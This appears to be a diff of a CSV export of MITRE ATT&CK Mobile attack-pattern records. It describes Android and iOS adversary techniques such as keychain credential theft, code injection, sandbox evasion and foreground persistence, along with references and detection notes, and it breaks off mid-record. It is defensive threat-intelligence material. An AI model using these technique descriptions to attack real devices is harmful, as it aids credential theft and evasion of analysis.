url='https://developer.apple.com/documentation/corelocation/requesting_authorization_for_location_services')]",attack-pattern--8197f026-64da-4700-93b9-b55ba55f3b31,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion')]",2020-10-01 12:43:41.494000+00:00,Geofencing,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Users can review which applications have location permissions in the operating system’s settings menu. On Android 10 and later, the system shows a notification to the user when an app has been accessing device location in the background.",,,,,False,,,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2020-06-24 17:33:49.778000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may collect the keychain storage data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials. +[Geofencing](https://attack.mitre.org/techniques/T1581) can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific [Input Prompt](https://attack.mitre.org/techniques/T1411)s and/or advertisements.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1581', 'external_id': 'T1581'}, {'source_name': 'Lookout eSurv', 'description': 'A. Bauer. (2019, April 8). Lookout discovers phishing sites distributing new iOS and Android surveillanceware. Retrieved September 11, 2020.', 'url': 'https://blog.lookout.com/esurv-research'}, {'source_name': 'Android Geofencing API', 'description': 'Google. (n.d.). Create and monitor geofences. Retrieved September 11, 2020.', 'url': 'https://developer.android.com/training/location/geofencing'}, {'source_name': 'Apple Location Services', 'description': 'Apple. (n.d.). Requesting Authorization for Location Services. Retrieved September 11, 2020.', 'url': 'https://developer.apple.com/documentation/corelocation/requesting_authorization_for_location_services'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Users can review which applications have location permissions in the operating system’s settings menu. On Android 10 and later, the system shows a notification to the user when an app has been accessing device location in the background.",False,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--27f483c6-6666-44fa-8532-ffd5fc7dab38,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-24T17:33:49.778Z,2020-06-24T19:02:46.237Z,Keychain,"Adversaries may collect the keychain storage data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials. -On the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, an adversary can access the entire encrypted database.(Citation: Apple Keychain Services)(Citation: Elcomsoft Decrypt Keychain)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1579', external_id='T1579'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html', external_id='AUT-11'), ExternalReference(source_name='Apple Keychain Services', description='Apple, Inc.. (n.d.). Keychain Services. Retrieved June 24, 2020.', url='https://developer.apple.com/documentation/security/keychain_services'), ExternalReference(source_name='Elcomsoft Decrypt Keychain', description='V. Katalov. (2018, December 18). Six Ways to Decrypt iPhone Passwords from the Keychain. Retrieved June 24, 2020.', url='https://blog.elcomsoft.com/2018/12/six-ways-to-decrypt-iphone-passwords-from-the-keychain/')]",attack-pattern--27f483c6-6666-44fa-8532-ffd5fc7dab38,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='credential-access')]",2020-06-24 19:02:46.237000+00:00,Keychain,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,Mobile security products can potentially detect jailbroken devices and perform further actions as necessary.,,,,,False,,,,['iOS'],,,['Post-Adversary Device Access'],1.0 -2020-05-07 15:24:49.068000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify applications installed on a device to establish persistent access to a victim. These malicious modifications can be used to make legitimate applications carry out adversary tasks when these applications are in use. +On the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, an adversary can access the entire encrypted database.(Citation: Apple Keychain Services)(Citation: Elcomsoft Decrypt Keychain)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1579', 'external_id': 'T1579'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html', 'external_id': 'AUT-11'}, {'source_name': 'Apple Keychain Services', 'description': 'Apple, Inc.. (n.d.). Keychain Services. Retrieved June 24, 2020.', 'url': 'https://developer.apple.com/documentation/security/keychain_services'}, {'source_name': 'Elcomsoft Decrypt Keychain', 'description': 'V. Katalov. (2018, December 18). Six Ways to Decrypt iPhone Passwords from the Keychain. Retrieved June 24, 2020.', 'url': 'https://blog.elcomsoft.com/2018/12/six-ways-to-decrypt-iphone-passwords-from-the-keychain/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Mobile security products can potentially detect jailbroken devices and perform further actions as necessary.,False,,['iOS'],1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--d3bc5020-f6a2-41c0-8ccb-5e563101b60c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-07T15:24:49.068Z,2020-05-27T13:23:34.159Z,Compromise Application Executable,"Adversaries may modify applications installed on a device to establish persistent access to a victim. These malicious modifications can be used to make legitimate applications carry out adversary tasks when these applications are in use. There are multiple ways an adversary can inject malicious code into applications. One method is by taking advantages of device vulnerabilities, the most well-known being Janus, an Android vulnerability that allows adversaries to add extra bytes to APK (application) and DEX (executable) files without affecting the file's signature. By being able to add arbitrary bytes to valid applications, attackers can seamlessly inject code into genuine executables without the user's knowledge.(Citation: Guardsquare Janus) Adversaries may also rebuild applications to include malicious modifications. This can be achieved by decompiling the genuine application, merging it with the malicious code, and recompiling it.(Citation: CheckPoint Agent Smith) -Adversaries may also take action to conceal modifications to application executables and bypass user consent. These actions include altering modifications to appear as an update or exploiting vulnerabilities that allow activities of the malicious application to run inside a system application.(Citation: CheckPoint Agent Smith)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1577', external_id='T1577'), ExternalReference(source_name='Guardsquare Janus', description='Guarsquare. (2017, November 13). New Android vulnerability allows attackers to modify apps without affecting their signatures. Retrieved May 7, 2020.', url='https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures'), ExternalReference(source_name='CheckPoint Agent Smith', description='A. Hazum, F. He, I. Marom, B. Melnykov, A. Polkovnichenko. (2019, July 10). Agent Smith: A New Species of Mobile Malware. Retrieved May 7, 2020.', url='https://research.checkpoint.com/2019/agent-smith-a-new-species-of-mobile-malware/')]",attack-pattern--d3bc5020-f6a2-41c0-8ccb-5e563101b60c,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='persistence')]",2020-05-27 13:23:34.159000+00:00,Compromise Application Executable,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,This behavior is seamless to the user and is typically undetectable.,,,,,False,,,,['Android'],,,['Post-Adversary Device Access'],1.0 -2020-05-04 13:49:34.706000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by: +Adversaries may also take action to conceal modifications to application executables and bypass user consent. These actions include altering modifications to appear as an update or exploiting vulnerabilities that allow activities of the malicious application to run inside a system application.(Citation: CheckPoint Agent Smith)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1577', 'external_id': 'T1577'}, {'source_name': 'Guardsquare Janus', 'description': 'Guarsquare. (2017, November 13). New Android vulnerability allows attackers to modify apps without affecting their signatures. Retrieved May 7, 2020.', 'url': 'https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures'}, {'source_name': 'CheckPoint Agent Smith', 'description': 'A. Hazum, F. He, I. Marom, B. Melnykov, A. Polkovnichenko. (2019, July 10). Agent Smith: A New Species of Mobile Malware. Retrieved May 7, 2020.', 'url': 'https://research.checkpoint.com/2019/agent-smith-a-new-species-of-mobile-malware/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,This behavior is seamless to the user and is typically undetectable.,False,,['Android'],1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--8c7862ff-3449-4ac6-b0fd-ac1298a822a5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-04T13:49:34.706Z,2020-05-26T18:05:37.393Z,Uninstall Malicious Application,"Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by: * Abusing device owner permissions to perform silent uninstallation using device owner API calls. * Abusing root permissions to delete files from the filesystem. -* Abusing the accessibility service. This requires an intent be sent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1576', external_id='T1576'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html', external_id='APP-43')]",attack-pattern--8c7862ff-3449-4ac6-b0fd-ac1298a822a5,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion')]",2020-05-26 18:05:37.393000+00:00,Uninstall Malicious Application,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,False,,,,['Android'],,,['Post-Adversary Device Access'],1.0 -2020-04-28 14:35:37.309000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use Android’s Native Development Kit (NDK) to write native functions that can achieve execution of binaries or functions. Like system calls on a traditional desktop operating system, native code achieves execution on a lower level than normal Android SDK calls. +* Abusing the accessibility service. This requires an intent be sent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1576', 'external_id': 'T1576'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html', 'external_id': 'APP-43'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,False,,['Android'],1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--52eff1c7-dd30-4121-b762-24ae6fa61bbb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-04-28T14:35:37.309Z,2020-04-28T18:34:15.373Z,Native Code,"Adversaries may use Android’s Native Development Kit (NDK) to write native functions that can achieve execution of binaries or functions. Like system calls on a traditional desktop operating system, native code achieves execution on a lower level than normal Android SDK calls. The NDK allows developers to write native code in C or C++ that is compiled directly to machine code, avoiding all intermediate languages and steps in compilation that higher level languages, like Java, typically have. The Java Native Interface (JNI) is the component that allows Java functions in the Android app to call functions in a native library.(Citation: Google NDK Getting Started) -Adversaries may also choose to use native functions to execute malicious code since native actions are typically much more difficult to analyze than standard, non-native behaviors.(Citation: MITRE App Vetting Effectiveness)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1575', external_id='T1575'), ExternalReference(source_name='Google NDK Getting Started', description='Google. (2019, December 27). Getting Started with the NDK. Retrieved April 28, 2020.', url='https://developer.android.com/ndk/guides'), ExternalReference(source_name='MITRE App Vetting Effectiveness', description='M. Peck, C. Northern. (2016, August 22). Analyzing the Effectiveness of App Vetting Tools in the Enterprise. Retrieved April 28, 2020.', url='https://www.mitre.org/sites/default/files/publications/pr-16-4772-analyzing-effectiveness-mobile-app-vetting-tools-report.pdf')]",attack-pattern--52eff1c7-dd30-4121-b762-24ae6fa61bbb,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='execution')]",2020-04-28 18:34:15.373000+00:00,Native Code,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,This is abuse of standard OS-level APIs and are therefore typically undetectable to the end user.,,,,,False,,,,['Android'],,,['Post-Adversary Device Access'],1.0 -2020-01-21 15:27:30.182000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or onto the victim’s device.,"[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1544', external_id='T1544')]",attack-pattern--2bb20118-e6c0-41dc-a07c-283ea4dd0fb8,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='command-and-control')]",2020-01-21 15:27:30.182000+00:00,Remote File Copy,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,Downloading remote files is common application behavior and is therefore typically undetectable to the end user.,,,,,False,,,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2019-11-19 17:32:20.373000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse Android's `startForeground()` API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope.(Citation: Android-SensorsOverview) Applications can retain sensor access by running in the foreground, using Android’s `startForeground()` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.(Citation: Android-ForegroundServices) +Adversaries may also choose to use native functions to execute malicious code since native actions are typically much more difficult to analyze than standard, non-native behaviors.(Citation: MITRE App Vetting Effectiveness)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1575', 'external_id': 'T1575'}, {'source_name': 'Google NDK Getting Started', 'description': 'Google. (2019, December 27). Getting Started with the NDK. Retrieved April 28, 2020.', 'url': 'https://developer.android.com/ndk/guides'}, {'source_name': 'MITRE App Vetting Effectiveness', 'description': 'M. Peck, C. Northern. (2016, August 22). Analyzing the Effectiveness of App Vetting Tools in the Enterprise. Retrieved April 28, 2020.', 'url': 'https://www.mitre.org/sites/default/files/publications/pr-16-4772-analyzing-effectiveness-mobile-app-vetting-tools-report.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,This is abuse of standard OS-level APIs and are therefore typically undetectable to the end user.,False,,['Android'],1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--2bb20118-e6c0-41dc-a07c-283ea4dd0fb8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-21T15:27:30.182Z,2020-01-21T15:27:30.182Z,Remote File Copy,Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or onto the victim’s device.,"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1544', 'external_id': 'T1544'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Downloading remote files is common application behavior and is therefore typically undetectable to the end user.,False,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--648f8051-1a35-46d3-b1d8-3a3f5cf2cc8e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-19T17:32:20.373Z,2019-12-26T16:14:33.302Z,Foreground Persistence,"Adversaries may abuse Android's `startForeground()` API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope.(Citation: Android-SensorsOverview) Applications can retain sensor access by running in the foreground, using Android’s `startForeground()` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.(Citation: Android-ForegroundServices) Malicious applications may abuse the `startForeground()` API method to continue running in the foreground, while presenting a notification to the user pretending to be a genuine application. This would allow unhindered access to the device’s sensors, assuming permission has been previously granted.(Citation: BlackHat Sutter Android Foreground 2019) -Malicious applications may also abuse the `startForeground()` API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer.(Citation: TrendMicro-Yellow Camera)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1541', external_id='T1541'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html', external_id='APP-19'), ExternalReference(source_name='Android-SensorsOverview', description='Google. (n.d.). Sensors Overview. Retrieved November 19, 2019.', url='https://developer.android.com/guide/topics/sensors/sensors_overview#sensors-practices'), ExternalReference(source_name='Android-ForegroundServices', description='Google. (n.d.). Services overview. Retrieved November 19, 2019.', url='https://developer.android.com/guide/components/services.html#Foreground'), ExternalReference(source_name='BlackHat Sutter Android Foreground 2019', description='Thomas Sutter. (2019, December). Simple Spyware Androids Invisible Foreground Services and How to (Ab)use Them. Retrieved December 26, 2019.', url='https://i.blackhat.com/eu-19/Thursday/eu-19-Sutter-Simple-Spyware-Androids-Invisible-Foreground-Services-And-How-To-Abuse-Them.pdf'), ExternalReference(source_name='TrendMicro-Yellow Camera', description='Song Wang. (2019, October 18). Fake Photo Beautification Apps on Google Play can Read SMS Verification Code to Trigger Wireless Application Protocol (WAP)/Carrier Billing. Retrieved November 19, 2019.', url='https://blog.trendmicro.com/trendlabs-security-intelligence/fake-photo-beautification-apps-on-google-play-can-read-sms-verification-code-to-trigger-wireless-application-protocol-wap-carrier-billing/')]",attack-pattern--648f8051-1a35-46d3-b1d8-3a3f5cf2cc8e,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='persistence')]",2019-12-26 16:14:33.302000+00:00,Foreground Persistence,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Lorin Wu, Trend Micro']",,,,,,Users can see persistent notifications in their notification drawer and can subsequently uninstall applications that do not belong.,,,,,False,,,,['Android'],,,['Post-Adversary Device Access'],1.0 -2019-10-30 15:37:55.029000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use code injection attacks to implant arbitrary code into the address space of a running application. Code is then executed or interpreted by that application. Adversaries utilizing this technique may exploit capabilities to load code in at runtime through dynamic libraries. +Malicious applications may also abuse the `startForeground()` API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer.(Citation: TrendMicro-Yellow Camera)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1541', 'external_id': 'T1541'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html', 'external_id': 'APP-19'}, {'source_name': 'Android-SensorsOverview', 'description': 'Google. (n.d.). Sensors Overview. Retrieved November 19, 2019.', 'url': 'https://developer.android.com/guide/topics/sensors/sensors_overview#sensors-practices'}, {'source_name': 'Android-ForegroundServices', 'description': 'Google. (n.d.). Services overview. Retrieved November 19, 2019.', 'url': 'https://developer.android.com/guide/components/services.html#Foreground'}, {'source_name': 'BlackHat Sutter Android Foreground 2019', 'description': 'Thomas Sutter. (2019, December). Simple Spyware Androids Invisible Foreground Services and How to (Ab)use Them. Retrieved December 26, 2019.', 'url': 'https://i.blackhat.com/eu-19/Thursday/eu-19-Sutter-Simple-Spyware-Androids-Invisible-Foreground-Services-And-How-To-Abuse-Them.pdf'}, {'source_name': 'TrendMicro-Yellow Camera', 'description': 'Song Wang. (2019, October 18). Fake Photo Beautification Apps on Google Play can Read SMS Verification Code to Trigger Wireless Application Protocol (WAP)/Carrier Billing. Retrieved November 19, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/fake-photo-beautification-apps-on-google-play-can-read-sms-verification-code-to-trigger-wireless-application-protocol-wap-carrier-billing/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Lorin Wu, Trend Micro']",,,Users can see persistent notifications in their notification drawer and can subsequently uninstall applications that do not belong.,False,,['Android'],1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--039bc59c-ecc7-4997-b2b4-4ab728bd91aa,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-10-30T15:37:55.029Z,2020-03-29T04:07:06.663Z,Code Injection,"Adversaries may use code injection attacks to implant arbitrary code into the address space of a running application. Code is then executed or interpreted by that application. Adversaries utilizing this technique may exploit capabilities to load code in at runtime through dynamic libraries. With root access, `ptrace` can be used to target specific applications and load shared libraries into its process memory.(Citation: Shunix Code Injection Mar 2016)(Citation: Fadeev Code Injection Aug 2018) By injecting code, an adversary may be able to gain access to higher permissions held by the targeted application by executing as the targeted application. In addition, the adversary may be able to evade detection or enable persistent access to a system under the guise of the application’s process.(Citation: Google Triada June 2019) -","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1540', external_id='T1540'), ExternalReference(source_name='Shunix Code Injection Mar 2016', description='Shunix . (2016, March 22). Shared Library Injection in Android. Retrieved October 30, 2019.', url='https://shunix.com/shared-library-injection-in-android/'), ExternalReference(source_name='Fadeev Code Injection Aug 2018', description='Alexandr Fadeev. (2018, August 26). Shared Library Injection on Android 8.0. Retrieved October 30, 2019.', url='https://fadeevab.com/shared-library-injection-on-android-8/'), ExternalReference(source_name='Google Triada June 2019', description='Lukasz Siewierski. (2019, June 6). PHA Family Highlights: Triada. Retrieved July 16, 2019.', url='https://security.googleblog.com/2019/06/pha-family-highlights-triada.html')]",attack-pattern--039bc59c-ecc7-4997-b2b4-4ab728bd91aa,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion')]",2020-03-29 04:07:06.663000+00:00,Code Injection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Code injection can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,,,False,,,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2019-10-10 15:12:42.790000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system. +","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1540', 'external_id': 'T1540'}, {'source_name': 'Shunix Code Injection Mar 2016', 'description': 'Shunix . (2016, March 22). Shared Library Injection in Android. Retrieved October 30, 2019.', 'url': 'https://shunix.com/shared-library-injection-in-android/'}, {'source_name': 'Fadeev Code Injection Aug 2018', 'description': 'Alexandr Fadeev. (2018, August 26). Shared Library Injection on Android 8.0. Retrieved October 30, 2019.', 'url': 'https://fadeevab.com/shared-library-injection-on-android-8/'}, {'source_name': 'Google Triada June 2019', 'description': 'Lukasz Siewierski. (2019, June 6). PHA Family Highlights: Triada. Retrieved July 16, 2019.', 'url': 'https://security.googleblog.com/2019/06/pha-family-highlights-triada.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Code injection can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",False,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--e1c912a9-e305-434b-9172-8a6ce3ec9c4a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-10-10T15:12:42.790Z,2019-10-11T14:53:38.987Z,Data from Local System,"Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system. -Local system data includes information stored by the operating system. Access to local system data often requires escalated privileges (e.g. root access). Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1533', external_id='T1533')]",attack-pattern--e1c912a9-e305-434b-9172-8a6ce3ec9c4a,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection')]",2019-10-11 14:53:38.987000+00:00,Data from Local System,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Accessing data from the local system can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,,,,,,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2019-10-10 15:00:44.181000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file formats that can encrypt files are RAR and zip.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1532', external_id='T1532')]",attack-pattern--e3b936a4-6321-4172-9114-038a866362ec,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='exfiltration')]",2019-10-10 15:00:44.181000+00:00,Data Encrypted,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Many encryption mechanisms are built into standard application-accessible APIs, and are therefore undetectable to the end user.",,,,,,,,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2019-10-02 14:46:43.632000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Malicious applications may attempt to detect their operating environment prior to fully executing their payloads. These checks are often used to ensure the application is not running within an analysis environment such as a sandbox used for application vetting, security research, or reverse engineering. +Local system data includes information stored by the operating system. Access to local system data often requires escalated privileges (e.g. root access). Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1533', 'external_id': 'T1533'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Accessing data from the local system can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--e3b936a4-6321-4172-9114-038a866362ec,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-10-10T15:00:44.181Z,2019-10-10T15:00:44.181Z,Data Encrypted,"Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file formats that can encrypt files are RAR and zip.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1532', 'external_id': 'T1532'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Many encryption mechanisms are built into standard application-accessible APIs, and are therefore undetectable to the end user.",,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--786f488c-cb1f-4602-89c5-86d982ee326b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-10-02T14:46:43.632Z,2019-10-11T14:48:50.525Z,Evade Analysis Environment,"Malicious applications may attempt to detect their operating environment prior to fully executing their payloads. These checks are often used to ensure the application is not running within an analysis environment such as a sandbox used for application vetting, security research, or reverse engineering. Adversaries may use many different checks such as physical sensors, location, and system properties to fingerprint emulators and sandbox environments.(Citation: Talos Gustuff Apr 2019)(Citation: ThreatFabric Cerberus)(Citation: Xiao-ZergHelper)(Citation: Cyberscoop Evade Analysis January 2019) Adversaries may access `android.os.SystemProperties` via Java reflection to obtain specific system information.(Citation: Github Anti-emulator) Standard values such as phone number, IMEI, IMSI, device IDs, and device drivers may be checked against default signatures of common sandboxes.(Citation: Sophos Anti-emulation) -","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1523', external_id='T1523'), ExternalReference(source_name='Talos Gustuff Apr 2019', description='Vitor Ventura. (2019, April 9). Gustuff banking botnet targets Australia . Retrieved September 3, 2019.', url='https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html'), ExternalReference(source_name='ThreatFabric Cerberus', 